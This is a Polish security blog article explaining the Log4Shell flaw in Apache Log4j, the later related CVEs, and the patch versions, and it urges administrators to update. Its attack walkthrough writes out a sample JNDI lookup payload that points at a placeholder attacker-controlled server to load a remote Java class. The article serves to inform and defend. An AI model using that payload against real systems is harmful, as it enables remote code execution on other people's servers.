Końcówka 2021 roku bez wątpienia przyniosła administratorom sieci dużo pracy. Zdecydowana większość podatności w grudniu była związana z odkryciem luki Log4J (CVE-2021-44228), 9 grudnia, na GitHubie opublikowano exploit PoC tej luki, zaś pierwsze ataki zaobserwowano już 1 grudnia.

Log4j to jedna z najczęściej używanych bibliotek typu open source stworzona przez Apache. Służy do tworzenia logów podczas działania aplikacji. Log to inaczej rejestr zdarzeń. Logi zapisują wszelkie informacje o zdarzeniach na naszej stronie. Zwracają nam również błędy, które występują w naszej aplikacji, dzięki czemu mamy wgląd gdzie leży problem, na podstawie zapisanych informacji, możemy spróbować naprawić program. Biorąc pod uwagę szerokie zastosowanie Log4j w większości aplikacji Java, Log4Shell szybko zamienił się w koszmar dla przedsiębiorstw i rządów na całym świecie. Od czasu ujawnienia luki można było zaobserwować wzrost ruchu powiązanego ze skanowaniem usług dostępnych z internetu oraz prób wykorzystania tych podatności.

Log4J

Biblioteka jest dostępna w dwóch wersjach. Pierwsza wersja nie jest wspierana od 2015 roku, co za tym idzie, nie otrzymuje już aktualizacji. W tej wersji nie wykryto podatności, o której mowa w tym artykule. Jednak nie oznacza to, że użytkownicy starszej wersji oprogramowania są bezpieczni. Istnieją inne równie poważne błędy i podatności powiązane ze starszą wersją.

Podatność, o której było tak szumnie końcówką tego roku, pozwalała na zdalne wykonywanie kodu danej aplikacji, np. webservera wykorzystującego wrażliwą bibliotekę.

Scenariusz ataku wygląda mniej więcej tak:

1. Aplikacja, która loguje zdarzenia z wykorzystaniem biblioteki Apache Log4j, np. niepoprawne logowania użytkownika, zapisując wartości kontrolowane przez użytkownika, jak login czy email,
2. Atakujący podejmuje próbę logowania, jako nazwę użytkownika podaje złośliwy payload, np.: ${jndi:ldap://przykładowa_domena.com/a} (gdzie przykładowa_domena.com jest serwerem, kontrolowanym przez atakującego),
3. Luka w log4j jest wywoływana przez payload, a serwer wysyła żądanie do attacker_domena.com poprzez “Java Naming and Directory Interface” (JNDI),
4. Odpowiedź zawiera ścieżkę do zdalnego pliku klasy Java (np. http://test.przykładowa_domena.com/Exploit.class), który jest wstrzykiwany do procesu serwera,
5. Wstrzyknięty payload pozwala atakującemu na wykonanie dowolnego kodu.

Cały proces opisuje Kacper Szurek w swoim filmie.

Podatność występuje przy każdej wersji JDK (Java Development Kit). Wraz z wyższą wersją tj.: 6u211, 7u201 czy 11.0.1 jest zdecydowanie trudniej doprowadzić do zdalnego wykonania kodu, jednak nie jest to niemożliwe. Istnieje również możliwość kradzieży wybranych danych poprzez przesłanie ich jako fragment zapytania do serwera DNS kontrolowanego przez atakującego.

Jak można przeczytać na stronie cert.pl:

“Z biblioteki korzystają m.in. takie rozwiązania jak Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Elasticsearch, Kafka, czy Graylog. Wykorzystują ją również i są podatne liczne produkty takich firm jak VMware, CISCO, czy Atlassian. Jednak lista podanych aplikacji jest znacznie dłuższa i często może dotyczyć niszowego, specyficznego dla danej branży oprogramowania.”

Potwierdza to tezę, że jest to globalny problem.

Aktualizacje

Od czasu wykrycia luki wprowadzono już kilka poprawek w wersjach od 2.14 do 2.17, które uważano za “w pełni załatane” eksperci odkryli kolejne luki, klasyfikując je jako “łagodniejsze warianty”. Przykładowo wersja 2.16.0 CVE-2021-45105 pozwala na uruchomienie ataku typu DDoS.

BleepingComputer informował o czterech różnych CVE mających wpływ na Log4j i jednym odkrytym w frameworku ‘logback’. Po odkryciu luki DoS w wersji 2.16 rada szybko skierowała się w stronę aktualizacji do wersji 2.17.0, uważanej za najbezpieczniejszą ze wszystkich.

Teraz jednak w wersji 2.17.0 odkryto piątą lukę – błąd RCE, oznaczony jako CVE-2021-44832. Apache w dniu 27.12.2021 wprowadziło aktualizacja 2.17.1, która na ten moment uważana jest za najbardziej bezpieczną.

Do tej pory luki w log4j były wykorzystywane przez wszelkiego rodzaju podmioty stanowiące zagrożenie. Od wspieranych przez państwo hakerów po gangi ransomware i inne, w celu wstrzyknięcia minerów Monero do podatnych systemów.

Podsumowanie

Pamiętaj o aktualizacji! Będziemy to powtarzać do znudzenia, ale nie tylko w tym przypadku gdy o problemie jest głośno. Zawsze, kiedy wychodzi jakaś nowa łata, należy pamiętać o aktualizacji jakiegokolwiek oprogramowania. Użytkownicy Log4j powinni natychmiast zaktualizować oprogramowanie do najnowszego wydania 2.17.1 (dla Javy 8). Wkrótce mają zostać udostępnione również wersje 2.12.4 (Java 7) i 2.3.2 (Java 6) zawierające poprawkę. Możesz szybko sprawdzić, czy Twój serwer jest podatny na tą lukę, korzystając z tego narzędzia.W źródłach do tego materiału możecie znaleźć alternatywne możliwości oraz schematy działań, jakie należy podjąć podczas zabezpieczania tej luki. Polecamy pozostać na bieżąco, zachęcamy do lektury oraz życzymy powodzenia w walce z lukami w nowym roku.

Źródła:
https://cert.pl/posts/2021/12/krytyczna-podatnosc-w-bibliotece-apache-log4j/?fbclid=IwAR3LEi3yXExflxcbDsX9lD0Zky_ayA_862A1ZjDzjMmy5bEmK5-SN2BLwJA
https://www.bleepingcomputer.com/news/security/log4j-2171-out-now-fixes-new-remote-code-execution-bug/
https://logging.apache.org/log4j/2.x/security.html

Karolina Błasiak